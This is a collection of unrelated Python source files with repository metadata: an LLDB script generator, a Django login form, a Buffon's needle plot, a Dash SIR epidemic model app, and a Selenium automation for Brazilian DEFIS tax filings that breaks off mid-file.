# MIT License # Copyright (c) 2017 Derek Selander # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import lldb import os import optparse import shlex from stat import * def __lldb_init_module(debugger, internal_dict): debugger.HandleCommand( 'command script add -f generate_new_script.generate_new_script __generate_script -h "generates new LLDB script"') def generate_new_script(debugger, command, exe_ctx, result, internal_dict): ''' Generates a new script in the same directory as this file. Can generate function styled scripts or class styled scripts. Expected Usage: __generate_script cool_command reload_lldbinit cool_command ''' command_args = shlex.split(command, posix=False) parser = generate_option_parser() try: (options, args) = parser.parse_args(command_args) except: result.SetError(parser.usage) return if not args: result.SetError('Expects a filename. Usage: __generate_script filename') return clean_command = ('').join(args) file_path = str(os.path.splitext(os.path.join( os.path.dirname(__file__), clean_command))[0] + '.py') if os.path.isfile(file_path): result.SetError('There already exists a file named "{}", please remove the file at "{}" first'.format(clean_command, file_path)) return if options.create_class: script = generate_class_file(clean_command, options) else: script = generate_function_file(clean_command, options) create_or_touch_filepath(file_path, script) os.system('open -R ' + file_path) result.AppendMessage('Opening \"{}\"...'.format(file_path)) def generate_class_file(filename, options): resolved_name = options.command_name if options.command_name else filename script = r''' import lldb import os import shlex import optparse def __lldb_init_module(debugger, internal_dict): debugger.HandleCommand(''' script += "'command script add -c " + filename + ".LLDBCustomCommand " + resolved_name + "')" script += r''' class LLDBCustomCommand: def __init__(self, debugger, session_dict): # This is where you setup properties for the class pass def __call__(self, debugger, command, exe_ctx, result): # This is where you handle the command command_args = shlex.split(command, posix=False) parser = self.generate_option_parser() try: (options, args) = parser.parse_args(command_args) except: result.SetError(parser.usage) return # Uncomment if you are expecting at least one argument # clean_command = shlex.split(args[0])[0] result.AppendMessage('Hello! the ''' + resolved_name + r''' command is working!') def generate_option_parser(self): usage = "usage: %prog [options] path/to/item" parser = optparse.OptionParser(usage=usage, prog="''' + resolved_name + r'''") parser.add_option("-m", "--module", action="store", default=None, dest="module", help="This is a placeholder option to show you how to use options with strings") parser.add_option("-c", "--check_if_true", action="store_true", default=False, dest="store_true", help="This is a placeholder option to show you how to use options with bools") return parser def get_short_help(self): return 'Short help goes here' def get_long_help(self): return ''' script += "'''\n Your long help goes here\n '''" return script def generate_function_file(filename, options): resolved_name = options.command_name if options.command_name else filename script = r''' import lldb import os import shlex import optparse def __lldb_init_module(debugger, internal_dict): debugger.HandleCommand( ''' script += '\'command script add -f {}.handle_command {} -h "{}"\')'.format(filename, resolved_name, "Short documentation here") script += r''' def handle_command(debugger, command, exe_ctx, result, internal_dict): ''' script += "\'\'\'\n Documentation for how to use " + resolved_name + " goes here \n \'\'\'" script += r''' command_args = shlex.split(command, posix=False) parser = generate_option_parser() try: (options, args) = parser.parse_args(command_args) except: result.SetError(parser.usage) return # Uncomment if you are expecting at least one argument # clean_command = shlex.split(args[0])[0] ''' script += "result.AppendMessage('Hello! the " + resolved_name + " command is working!')" script += r''' def generate_option_parser(): usage = "usage: %prog [options] TODO Description Here :]" parser = optparse.OptionParser(usage=usage, prog="''' + resolved_name + r'''") parser.add_option("-m", "--module", action="store", default=None, dest="module", help="This is a placeholder option to show you how to use options with strings") parser.add_option("-c", "--check_if_true", action="store_true", default=False, dest="store_true", help="This is a placeholder option to show you how to use options with bools") return parser ''' return script def create_or_touch_filepath(filepath, script): file = open(filepath, "w") file.write(script) file.flush() st = os.stat(filepath) os.chmod(filepath, st.st_mode | S_IEXEC) file.close() def generate_option_parser(): usage = "usage: %prog [options] nameofscript" parser = optparse.OptionParser(usage=usage, prog="__generate_script") parser.add_option("-n", "--command_name", action="store", default=None, dest="command_name", help="By default, the script will use filename for the LLDB command. This will override the command name to a name of your choosing") parser.add_option("-c", "--create_class", action="store_true", default=False, dest="create_class", help="By default, this script creates a function. This will use a class instead") return parser

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null

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null

0

1

2b446474ab736a03796add587552ea1e155e2ffd

888

py

Python

app/forms.py

sjsafranek/pomegranate

8965a7cc2fe8b6981f3961fa8cd6e8b1bdff8ccf

[ "MIT" ]

null

app/forms.py

sjsafranek/pomegranate

8965a7cc2fe8b6981f3961fa8cd6e8b1bdff8ccf

[ "MIT" ]

1

2017-01-19T02:02:15.000Z

2017-01-19T02:38:58.000Z

app/forms.py

sjsafranek/pomegranate

8965a7cc2fe8b6981f3961fa8cd6e8b1bdff8ccf

[ "MIT" ]

null

#!/usr/bin/python ''' from django import forms from django.contrib.auth import authenticate #from django.contrib.auth import login class LoginForm(forms.Form): username = forms.CharField(max_length=255, required=True) password = forms.CharField(widget=forms.PasswordInput, required=True) def clean(self): username = self.cleaned_data.get('username') password = self.cleaned_data.get('password') user = authenticate(username=username, password=password) if not user or not user.is_active: raise forms.ValidationError("Sorry, that login was invalid. Please try again.") return self.cleaned_data def login(self, request): username = self.cleaned_data.get('username') password = self.cleaned_data.get('password') user = authenticate(username=username, password=password) return user '''

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2b452016fd5d89254447c86f05dc5c9a851e0645

7,251

py

Python

figuras/Pycharm_Papoulis_Probability_Report/buffon_needle_long.py

bor9/estudiando_el_papoulis

ef40ac18d7aece3415cd9ce72d1f9684c762d6df

[ "MIT" ]

null

figuras/Pycharm_Papoulis_Probability_Report/buffon_needle_long.py

bor9/estudiando_el_papoulis

ef40ac18d7aece3415cd9ce72d1f9684c762d6df

[ "MIT" ]

null

figuras/Pycharm_Papoulis_Probability_Report/buffon_needle_long.py

bor9/estudiando_el_papoulis

ef40ac18d7aece3415cd9ce72d1f9684c762d6df

[ "MIT" ]

null

import matplotlib.pyplot as plt import numpy as np import math from matplotlib import patches from matplotlib import transforms import matplotlib.colors as colors from matplotlib import cm from matplotlib import rc __author__ = 'ernesto' # if use latex or mathtext rc('text', usetex=False) rc('mathtext', fontset='cm') # colors from coolwarm cNorm = colors.Normalize(vmin=0, vmax=1) scalarMap = cm.ScalarMappable(norm=cNorm, cmap=cm.coolwarm) col10 = scalarMap.to_rgba(0) col11 = scalarMap.to_rgba(0.2) col20 = scalarMap.to_rgba(1) col21 = scalarMap.to_rgba(0.85) col22 = scalarMap.to_rgba(0.7) # read image im = 'buffon_needle_3.png' img = plt.imread(im) # image parameters img_height = 25 img_width = img_height * img.shape[1] / img.shape[0] # needle original angle (radians) theta = math.atan(img.shape[0]/img.shape[1]) # needle length l = math.sqrt(img_height**2 + img_width**2) # axis span x_max = 35 y_max = 42 # lines y-coordinate n_lines = 3 # number of lines start_gap = 1 # y-coordinate of the first lines d = (y_max - 2 * start_gap) / (n_lines - 1) # distance between lines lines_y = start_gap + np.arange(n_lines) * d # y-coordinate of lines # needle 1 position x1_start = 8 y1_start = lines_y[1] # needle 1 angle theta1 = math.asin(d/l) rot1 = transforms.Affine2D().rotate_around(x1_start, y1_start, theta1 - theta) # needle 2 height and width img1_height = l * math.sin(theta1) img1_width = l * math.cos(theta1) # needle 2 position x2_start = 3 y2_start = start_gap # needle 2 angle theta2 = theta1 * 0.6 rot2 = transforms.Affine2D().rotate_around(x2_start, y2_start, theta2 - theta) # needle 2 height and width img2_height = l * math.sin(theta2) img2_width = l * math.cos(theta2) # needle center x2c = x2_start + img2_width / 2 y2c = y2_start + img2_height / 2 # needle size mark r = 4 # distance from the needle s = 1 # lines of the borders # parameters for plot dashes = (5, 2) fontsize = 14 # plot fig = plt.figure(0, figsize=(10, 5), frameon=False) ax = plt.subplot2grid((1, 10), (0, 0), rowspan=1, colspan=5) ax.set_xlim(0, x_max) ax.set_ylim(0, y_max) # plot lines plt.plot([0, x_max], [lines_y, lines_y], color=col10, lw=2) # plot angle arc 1 arc1 = patches.Arc((x1_start, y1_start), 10, 10, angle=0, theta1=0, theta2=theta1 * 180 / math.pi, linewidth=1, fill=False, zorder=1) ax.add_patch(arc1) plt.text(x1_start + 6 * math.cos(theta1/2), y1_start + 6 * math.sin(theta1/2), r'$\theta=\arcsin\;\dfrac{d}{l}$', fontsize=fontsize, ha='left', va='center') # plot angle arc 2 arc2 = patches.Arc((x2_start, y2_start), 10, 10, angle=0, theta1=0, theta2=theta2 * 180 / math.pi, linewidth=1, fill=False, zorder=1) ax.add_patch(arc2) plt.text(x2_start + 6 * math.cos(theta2/2), y2_start + 6 * math.sin(theta2/2), r'$\theta$', fontsize=fontsize, ha='left', va='center') # show needle 1 image ax.imshow(img, transform=rot1 + ax.transData, extent=[x1_start, x1_start + img_width, y1_start, y1_start + img_height], zorder=2) # show needle 2 image ax.imshow(img, transform=rot2 + ax.transData, extent=[x2_start, x2_start + img_width, y2_start, y2_start + img_height], zorder=2) # mark needle 1 center plt.plot(x2c, y2c, 'k.', markersize=6, zorder=3) plt.plot([x2c, x2c], [lines_y[0], y2c], 'k--', lw=1, dashes=dashes) plt.text(x2c + 1, (lines_y[0] + y2c) / 2, r'$z=\dfrac{l}{2}\;\sin\;\theta$', fontsize=fontsize, ha='left', va='center') # plot distance between lines xl = 2 plt.plot((x1_start + img1_width) * np.array([1, 1]), lines_y[1] + np.array([0, img1_height]), 'k--', lw=1, dashes=dashes) plt.text(x1_start + img1_width + 1, lines_y[1] + img1_height / 2, r'$d$', fontsize=fontsize, ha='left', va='center') # plot needle 2 size marker xm = x2_start - r * math.sin(theta2) ym = y2_start + r * math.cos(theta2) plt.plot(xm + np.array([0, img2_width]), ym + np.array([0, img2_height]), 'k--', lw=1, dashes=dashes) plt.plot(xm + s * math.sin(theta2) * np.array([-1, 1]), ym + s * math.cos(theta2) * np.array([1, -1]), 'k-', lw=1) plt.plot(xm + img2_width + s * math.sin(theta2) * np.array([-1, 1]), ym + img2_height + s * math.cos(theta2) * np.array([1, -1]), 'k-', lw=1) plt.text(xm + img2_width / 2 - 1 * math.sin(theta2), ym + img2_height / 2 + 1 * math.cos(theta2), r'$l$', fontsize=fontsize, ha='center', va='baseline') plt.axis('off') # SAMPLE SPACE PLOT # scale l and d f = 10 l /= f d /= f # axis limits z_max = l / 2 t_max = math.pi / 2 delta_ax = 0.3 z_ax_min = -0.1 z_ax_max = z_max + delta_ax t_ax_min = -0.1 t_ax_max = t_max + delta_ax # theta vector ts = np.linspace(0, t_max, 100) sin_ts = (l / 2) * np.sin(ts) zs = np.linspace(0, d/2, 100) asin_zs = np.arcsin(2 * zs / l) ax = plt.subplot2grid((1, 10), (0, 5), rowspan=1, colspan=5) plt.axis([z_ax_min, z_ax_max, t_ax_min, t_ax_max]) # axis arrows plt.annotate("", xytext=(z_ax_min, 0), xycoords='data', xy=(z_ax_max, 0), textcoords='data', arrowprops=dict(width=0.2, headwidth=6, headlength=8, facecolor='black', shrink=0.002)) plt.annotate("", xytext=(0, t_ax_min), xycoords='data', xy=(0, t_ax_max), textcoords='data', arrowprops=dict(width=0.2, headwidth=6, headlength=8, facecolor='black', shrink=0.002)) plt.plot([d/2, d/2], [0, t_max], color=col10, lw=2) plt.plot([0, d/2], [t_max, t_max], color=col10, lw=2) plt.plot(sin_ts, ts, color=col20, lw=2) ax.fill_between([0, d/2], math.asin(d/l) * np.array([1, 1]), t_max, color=col21) ax.fill_between(zs, asin_zs, math.asin(d/l), color=col22) # z labels z_baseline = -0.14 plt.text(z_ax_max, z_baseline, r'$z$', fontsize=fontsize, ha='center', va='baseline') plt.text(d/2, z_baseline, r'$\dfrac{d}{2}$', fontsize=fontsize, ha='center', va='baseline') plt.text(-0.05, z_baseline, r'$0$', fontsize=fontsize, ha='right', va='baseline') plt.plot([l/2, l/2], [0, math.pi/2], 'k--', lw=1, dashes=dashes) plt.text(l/2, z_baseline, r'$\dfrac{l}{2}$', fontsize=fontsize, ha='center', va='baseline') # theta labels plt.text(-0.05, t_ax_max, r'$\theta$', fontsize=fontsize, ha='right', va='center') plt.text(-0.05, math.pi/2, r'$\dfrac{\pi}{2}$', fontsize=fontsize, ha='right', va='center') plt.plot([0, math.pi/2], [l/2, l/2], 'k--', lw=1, dashes=dashes, zorder=1) plt.plot([0, d/2], math.asin(d/l) * np.array([1, 1]), 'k--', lw=1, dashes=dashes) plt.text(-0.05, math.asin(d/l), r'$\arcsin\;\dfrac{d}{l}$', fontsize=fontsize, ha='right', va='center') plt.text(d/2, math.pi/2, r'$\Omega$', fontsize=fontsize, ha='right', va='bottom', color=col10) z1 = 1.16 plt.annotate(r'$z=\dfrac{l}{2}\;\sin\;\theta$', xytext=((d+l)/4, 0.45), xycoords='data', xy=(z1, math.asin(2*z1/l)), textcoords='data', fontsize=fontsize, va="center", ha="center", arrowprops=dict(arrowstyle="-|>, head_width=0.1, head_length=0.4", facecolor='black', relpos=(0.4, 1), patchA=None, patchB=None, shrinkA=4, shrinkB=1)) plt.text(d/4, (math.pi/2+math.asin(d/l)) / 2, r'$D_1$', fontsize=fontsize, ha='center', va='center') plt.text(d/4, 0.75*math.asin(d/l), r'$D_2$', fontsize=fontsize, ha='center', va='center') plt.axis('off') plt.savefig('buffon_needle_long.pdf', bbox_inches='tight', dpi=900) plt.show()

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null

0

null

0

1

0

2b46780622ca167e59a3a3ad6cc2146cc6ba62f4

4,309

py

Python

app.py

chrisvoncsefalvay/dash-sir-interactive-model

97d854774fb5395452127b5627efab39bddcdbdf

[ "BSD-3-Clause" ]

3

2020-11-29T06:36:23.000Z

2021-11-28T13:10:46.000Z

app.py

chrisvoncsefalvay/dash-sir-interactive-model

97d854774fb5395452127b5627efab39bddcdbdf

[ "BSD-3-Clause" ]

null

app.py

chrisvoncsefalvay/dash-sir-interactive-model

97d854774fb5395452127b5627efab39bddcdbdf

[ "BSD-3-Clause" ]

null

import os import flask import dash import dash_bootstrap_components as dbc import dash_core_components as dcc import dash_html_components as html from dash.dependencies import Input, Output import plotly.graph_objects as go import dash_defer_js_import as dji import numpy as np from components import solve external_stylesheets = ['https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css', 'https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/styles/monokai-sublime.min.css'] external_scripts = ['https://code.jquery.com/jquery-3.2.1.slim.min.js', 'https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js', 'https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js'] # Server definition server = flask.Flask(__name__) app = dash.Dash(__name__, external_stylesheets=external_stylesheets, external_scripts=external_scripts, server=server) filepath = os.path.split(os.path.realpath(__file__))[0] narrative_text = open(os.path.join(filepath, "narrative.md"), "r").read() refs_text = open(os.path.join(filepath, "references.md"), "r").read() edvs_text = open(os.path.join(filepath, "edvs.md"), "r").read() mathjax_script = dji.Import(src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.7/latest.js?config=TeX-AMS-MML_SVG") app.index_string = ''' <!DOCTYPE html> <html> <head> {%metas%} <title>{%title%}</title> {%favicon%} {%css%} </head> <body> {%app_entry%} <footer> {%config%} {%scripts%} <script type="text/x-mathjax-config"> MathJax.Hub.Config({ tex2jax: { inlineMath: [ ['$','$'],], processEscapes: true } }); </script> {%renderer%} </footer> </body> </html> ''' # COMPONENTS # ========== def display_SIR_solution(data) -> dcc.Graph: S, I, R = data tspace = np.linspace(0, len(S), len(S)) fig = go.Figure() # Susceptible fig.add_trace(go.Scatter(x = tspace, y = S, mode="lines", name="Susceptible")) # Infectious fig.add_trace(go.Scatter(x = tspace, y = I, mode="lines", name="Infectious")) # Recovered fig.add_trace(go.Scatter(x = tspace, y = R, mode="lines", name="Removed")) return fig ## Interactors ## ----------- R0_slider = dcc.Slider(id="r0_input", min=0, max=6.5, step=0.01, value=2.67, marks={x: str(x) for x in [0, 1, 2, 3, 4, 5, 6]}) delta_slider = dcc.Slider(id="delta_input", min=0, max=1, step=0.01, value=0.25, marks={x: f"{100*x:.0f}%" for x in np.linspace(0, 1, 11)}) tau_slider = dcc.Slider(id="tau_input", min=3, max=20, step=0.5, value=8.5, marks={x: str(x) for x in [3+2*x for x in range(0, 9)]}) # APP LAYOUT # ========== app.layout = html.Div([ dbc.Container(children=[ dcc.Markdown(narrative_text, dangerously_allow_html=True), dcc.Graph(id="sir_solution", figure=display_SIR_solution(solve(delta=0.5, R0=2.67, tau=8.5))), dbc.Row(children=[dbc.Col(children=[R0_slider], className="col-md-8"), dbc.Col(children=["$R_0$ (basic reproduction number)"], className="col-md-4")]), html.Br(), dbc.Row(children=[dbc.Col(children=[delta_slider], className="col-md-8"), dbc.Col(children=["$\delta$ (social distancing fraction)"], className="col-md-4")]), html.Br(), dbc.Row(children=[dbc.Col(children=[tau_slider], className="col-md-8"), dbc.Col(children=["$\\tau$ (duration of illness)"], className="col-md-4")]), html.Br(), html.Br(), dcc.Markdown(edvs_text, dangerously_allow_html=True), html.Br(), dcc.Markdown(refs_text, dangerously_allow_html=True) ]), mathjax_script ]) # INTERACTION # =========== @app.callback(Output("sir_solution", "figure"), [Input("r0_input", "value"), Input("delta_input", "value"), Input("tau_input", "value")]) def update_plot(r0_input, delta_input, tau_input): return display_SIR_solution(solve(delta=delta_input, R0=r0_input, tau=tau_input)) if __name__ == '__main__': app.run_server(debug=True)

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null

0

null

0

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0

2b489fbcfce2c4d5dd4a28fb019c7e2eb148afb0

18,525

py

Python

autoesk_main/anual_defis.py

SilasPDJ/autoesk_project_v2

249730307ad350a1aaacfd5abe08b0781253854e

[ "MIT" ]

1

2021-03-12T00:40:13.000Z

autoesk_main/anual_defis.py

SilasPDJ/autoesk_project_v2

249730307ad350a1aaacfd5abe08b0781253854e

[ "MIT" ]

1

2021-04-02T04:40:38.000Z

2021-04-02T04:42:20.000Z

autoesk_main/anual_defis.py

SilasPDJ/autoesk_project_v2

249730307ad350a1aaacfd5abe08b0781253854e

[ "MIT" ]

null

from imports import WDShorcuts from imports import press_key_b4, activate_window, tk_msg from imports import TimeoutException, ElementClickInterceptedException, NoSuchElementException, NoAlertPresentException from imports import ActionChains from imports import Keys, By, WebDriverWait, expected_conditions from imports import ExcelToData from _new_set_paths import NewSetPaths import subprocess import os from time import sleep from selenium.webdriver.support.ui import Select from selenium.common.exceptions import UnexpectedAlertPresentException # dale class Defis(WDShorcuts, NewSetPaths, ExcelToData): def __init__(self, compt=None): """ :param compt: from GUI # remember past_only arg from self.get_atual_competencia """ import pandas as pd from default.webdriver_utilities.pre_drivers import pgdas_driver # O vencimento DAS(seja pra qual for a compt) está certo, haja vista que se trata do mes atual sh_names = ['DEFIS'] sh_name = sh_names[0] if compt is None: compt = super().get_compt_only() excel_file_name = super().excel_file_path() COMPT = compt = f"DEFIS_{self.y()}" # transcrevendo compt para que não seja 02/2021 # excel_file_name = '/'.join(excel_file_name.split('/')[:-1]) excel_file_name = os.path.dirname(excel_file_name) excel_file_name += f'/DEFIS-anual.xlsx' pdExcelFile = pd.ExcelFile(excel_file_name) msh = pdExcelFile.parse(sheet_name=str(sh_name)) col_str_dic = {column: str for column in list(msh)} msh = pdExcelFile.parse(sheet_name=str(sh_name), dtype=col_str_dic) READ = self.le_excel_each_one(msh) self.after_READ = self.readnew_lista(READ, False) msh_socio = pdExcelFile.parse(sheet_name='Socios') col_str_dic = {column: str for column in list(msh_socio)} msh_socio = pdExcelFile.parse(sheet_name='Socios', dtype=col_str_dic) self.after_socio = self.readnew_lista(self.le_excel_each_one(msh_socio)) SK = list(self.after_socio.keys()) # ACHEI FINALMENTE O JEITO RESPONSIVO DE DECLARAR PRA NÃO FICAR TENDO QUE ESCREVER POR EXTENSO cont_soc = 0 for i, CNPJ in enumerate(self.after_READ['CNPJ']): _cliente = self.empresa_now = self.after_READ['Razão Social'][i] _ja_declared = self.after_READ['Declarado'][i].upper().strip() _cod_sim = self.after_READ['Código Simples'][i] _cpf = self.after_READ['CPF'][i] _cert_or_login = self.after_READ['CERTORLOGIN'][i] # Defis exclusivos _dirf = self.after_READ['DIRF'][i] # +2 Pois começa da linha 2, logo o excel está reconhendo isso como index while int(self.after_socio[SK[-4]][cont_soc])-2 != i: cont_soc += 1 __ate_soc = self.after_socio[SK[-3]][cont_soc] __ate_soc = int(__ate_soc) + cont_soc self.socios_now__cnpj = self.after_socio[SK[0]][cont_soc:__ate_soc] self.socios_now__cpf = self.after_socio[SK[1]][cont_soc:__ate_soc] self.socios_now__nome = self.after_socio[SK[2]][cont_soc:__ate_soc] self.socios_now__cota = self.after_socio[SK[3]][cont_soc:__ate_soc] self.socios_now__tipo = self.after_socio[SK[5]][cont_soc:__ate_soc] self.client_path = self.files_pathit(_cliente, COMPT, ) if _ja_declared not in ['S', 'OK', 'FORA']: print('-' * 60) # print(f'CNPJ: {CNPJ}, {CNPJ.strip()==self.socios_now__cnpj[0]}') self.the_print() __client_path = self.client_path self.driver = pgdas_driver(__client_path) now_process = subprocess.Popen(f'explorer {__client_path}') driver = self.driver super().__init__(driver) if _cert_or_login == 'certificado': self.loga_cert() # loga ECAC, Insere CNPJ self.change_ecac_client(CNPJ) self.current_url = driver.current_url self.opta_script() if self.m() == 12 else None else: self.loga_simples(CNPJ, _cpf, _cod_sim, _cliente) self.current_url = driver.current_url self.opta_script() if self.m() == 12 else None driver.get('https://www8.receita.fazenda.gov.br/SimplesNacional/Aplicacoes/ATSPO/defis.app/entrada.aspx') while True: try: WebDriverWait(self.driver, 10).until(expected_conditions.presence_of_element_located((By.TAG_NAME, 'input'))) my_radios_bt = driver.find_elements_by_name('ctl00$conteudo$AnoC') my_radios_bt[-2].click() driver.find_element_by_id('ctl00_conteudo_lnkContinuar').click() break except TimeoutException: driver.get('https://sinac.cav.receita.fazenda.gov.br/SimplesNacional/Aplicacoes/ATSPO/defis.app/entrada.aspx') (print('sleeping'), sleep(5)) self.send_keys_anywhere(Keys.TAB, 2) self.send_keys_anywhere(Keys.ENTER, 1) self.contains_text(str(self.y()-1)).click() self.contains_text('Continuar').click() driver.implicitly_wait(10) self.send_keys_anywhere(Keys.TAB, 9) self.send_keys_anywhere(Keys.ENTER, 1) self.send_keys_anywhere(Keys.TAB, 2) self.send_keys_anywhere(Keys.ENTER, 1) WebDriverWait(self.driver, 5) try: self.send_keys_anywhere(Keys.TAB, 1) self.send_keys_anywhere(Keys.ENTER, 1) except UnexpectedAlertPresentException: pass else: # se 3 => De toda MP self.send_keys_anywhere(Keys.TAB, 2) self.send_keys_anywhere(Keys.ENTER) self.send_keys_anywhere(Keys.TAB, 1) # Informações econômicas e fiscais do estabelecimento ac = ActionChains(self.driver) for sdc in range(13): ac.send_keys('0') ac.send_keys(Keys.TAB) ac.perform() self.send_keys_anywhere(Keys.TAB, 11, pause=.1) self.send_keys_anywhere(Keys.RIGHT) self.send_keys_anywhere(Keys.TAB) self.send_keys_anywhere(Keys.RIGHT) self.send_keys_anywhere(Keys.TAB, 15, pause=.001) self.send_keys_anywhere(Keys.ENTER) # Chega até os campos padrão print('\033[1;31m DIGITE F8 p/ prosseguir \033[m') which_one = press_key_b4('f8') now_process.kill() print('-' * 30) print(f'already declared {_cliente}') print('-' * 30) def loga_cert(self): """ :return: mixes the two functions above (show_actual_tk_window, mensagem) """ from threading import Thread from pyautogui import hotkey from time import sleep driver = self.driver while True: try: driver.get('https://cav.receita.fazenda.gov.br/autenticacao/login') driver.set_page_load_timeout(30) break except TimeoutException: driver.refresh() finally: sleep(1) activate_window('eCAC - Centro Virtual de Atendimento') """ while True: try: driver.get('https://cav.receita.fazenda.gov.br/') driver.set_page_load_timeout(5) break except TimeoutException: driver.refresh() finally: sleep(1) """ # initial = driver.find_element_by_id('caixa1-login-certificado') driver.get( 'https://sso.acesso.gov.br/authorize?response_type=code&client_id=cav.receita.fazenda.gov.br&' 'scope=openid+govbr_recupera_certificadox509+govbr_confiabilidades&' 'redirect_uri=https://cav.receita.fazenda.gov.br/autenticacao/login/govbrsso') initial = driver.find_element_by_link_text('Certificado digital') print('ativando janela acima, logando certificado abaixo, linhas 270') sleep(2) # self.thread_pool_executor(initial.click, [hotkey, 'enter']) t = Thread(target=initial.click) t.start() tt = Thread(target=sleep(2.5)) tt.start() # B4 enter, ir pra baixo por causa do certificado do castilho tb4 = Thread(target=hotkey('down')) tb4.start() tt2 = Thread(target=sleep(2)) tt2.start() t2 = Thread(target=hotkey('enter')) t2.start() def loga_simples(self, CNPJ, CPF, CodSim, CLIENTE): driver = self.driver driver.get( 'https://www8.receita.fazenda.gov.br/SimplesNacional/controleAcesso/Autentica.aspx?id=60') driver.get( 'https://www8.receita.fazenda.gov.br/SimplesNacional/controleAcesso/Autentica.aspx?id=60') while str(driver.current_url.strip()).endswith('id=60'): self.tags_wait('body') self.tags_wait('html') self.tags_wait('input') # driver.find_elements_by_xpath("//*[contains(text(), 'CNPJ:')]")[0].click() # pygui.hotkey('tab', interval=0.5) cpcp = driver.find_element_by_name('ctl00$ContentPlaceHolder$txtCNPJ') cpcp.clear() cpcp.send_keys(CNPJ) cpfcpf = driver.find_element_by_name('ctl00$ContentPlaceHolder$txtCPFResponsavel') cpfcpf.clear() cpfcpf.send_keys(CPF) cod = driver.find_element_by_name('ctl00$ContentPlaceHolder$txtCodigoAcesso') cod.clear() cod.send_keys(CodSim) cod_caract = driver.find_element_by_id('txtTexto_captcha_serpro_gov_br') btn_som = driver.find_element_by_id('btnTocarSom_captcha_serpro_gov_br') sleep(2.5) btn_som.click() sleep(.5) cod_caract.click() print(f'PRESSIONE ENTER P/ PROSSEGUIR, {CLIENTE}') press_key_b4('enter') while True: try: submit = driver.find_element_by_xpath("//input[@type='submit']").click() break except (NoSuchElementException, ElementClickInterceptedException): print('sleepin' 'g, line 167. Cadê o submit?') driver.refresh() sleep(5) sleep(5) def change_ecac_client(self, CNPJ): """:return: vai até ao site de declaração do ECAC.""" driver = self.driver def elem_with_text(elem, searched): _tag = driver.find_element_by_xpath(f"//{elem}[contains(text(),'{searched.rstrip()}')]") return _tag self.tags_wait('html', 'span') sleep(5) # nextcl = elem_with_text("span", "Alterar perfil de acesso") # nextcl.click() btn_perfil = WebDriverWait(self.driver, 20).until( expected_conditions.presence_of_element_located((By.ID, 'btnPerfil'))) self.click_ac_elementors(btn_perfil) # altera perfil e manda o cnpj self.tags_wait('label') cnpj = elem_with_text("label", "Procurador de pessoa jurídica - CNPJ") cnpj.click() sleep(.5) self.send_keys_anywhere(CNPJ) sleep(1) self.send_keys_anywhere(Keys.TAB) self.send_keys_anywhere(Keys.ENTER) sleep(1) # driver.find_element_by_class_name('access-button').click() # sleep(10) antigo = driver.current_url """I GOT IT""" # switch_to.frame... sleep(5) driver.get( 'https://sinac.cav.receita.fazenda.gov.br/simplesnacional/aplicacoes/atspo/pgdasd2018.app/') sleep(2.5) driver.get(antigo) driver.get('https://cav.receita.fazenda.gov.br/ecac/Aplicacao.aspx?id=10009&origem=menu') driver.switch_to.frame(driver.find_element_by_tag_name("iframe")) sleep(2) while True: try: driver.find_element_by_xpath('//span[@class="glyphicon glyphicon-off"]').click() driver.refresh() break except ElementClickInterceptedException: print('---> PRESSIONE ESC PARA CONTINUAR <--- glyphicon-off intercepted') press_key_b4('esc') except NoSuchElementException: print('---> PRESSIONE ESC PARA CONTINUAR NoSuchElement glyphicon-off') press_key_b4('esc') driver.get( 'https://sinac.cav.receita.fazenda.gov.br/simplesnacional/aplicacoes/atspo/pgdasd2018.app/') driver.implicitly_wait(5) break sleep(3) driver.switch_to.default_content() """I GOT IT""" # chegou em todo mundo... driver.get( 'https://sinac.cav.receita.fazenda.gov.br/simplesnacional/aplicacoes/atspo/pgdasd2018.app/') driver.implicitly_wait(5) def simples_and_ecac_utilities(self, option, compt): """ :param int option: somente de 1 a 2, sendo :param str compt: competência 1 -> Gerar Das somente se for consolidar para outra DATA 2 -> Gerar Protocolos :return: """ # estou na "declaração", aqui faço o que quiser from datetime import datetime now_year = str(datetime.now().year) compt = ''.join(v for v in compt if v.isdigit()) month_compt = compt[:2] year_compt = compt[2:] driver = self.driver current_url = self.current_url link_gera_das, download_protocolos_das = 'Das/PorPa', '/Consulta' if option == 2: self.get_sub_site(download_protocolos_das, current_url) driver.implicitly_wait(5) if now_year != year_compt: self.send_keys_anywhere(year_compt) self.find_submit_form() sleep(3.5) comp_clic = driver.find_elements_by_class_name('pa') lenc = len(comp_clic) - 1 comp_clic[lenc].click() for i in range(3): sleep(2) self.send_keys_anywhere(Keys.TAB) self.send_keys_anywhere(Keys.ENTER) elif option == 1: # gera das venc_month_compt = int(month_compt) + 1 venc = self.get_last_business_day_of_month(venc_month_compt, int(year_compt)) retifica_p_dia = f'{venc}{venc_month_compt:02d}{year_compt}' self.get_sub_site(link_gera_das, current_url) self.tags_wait('input') driver.implicitly_wait(10) periodo = driver.find_element_by_id('pa') periodo.send_keys(compt) self.find_submit_form() sleep(2.5) # if len(driver.find_elements_by_id('msgBox')) == 0 # CASO NÃO EXISTA O DAS consolida = driver.find_element_by_id('btnConsolidarOutraData') consolida.click() sleep(2.5) validade_id = 'txtDataValidade' driver.execute_script(f"document.getElementById('{validade_id}').focus();") validade_change = driver.find_element_by_id(validade_id) for e, val in enumerate(retifica_p_dia): validade_change.send_keys(val) if e == 0: sleep(.25) sleep(1) driver.find_element_by_id('btnDataValidade').click() # coloquei a 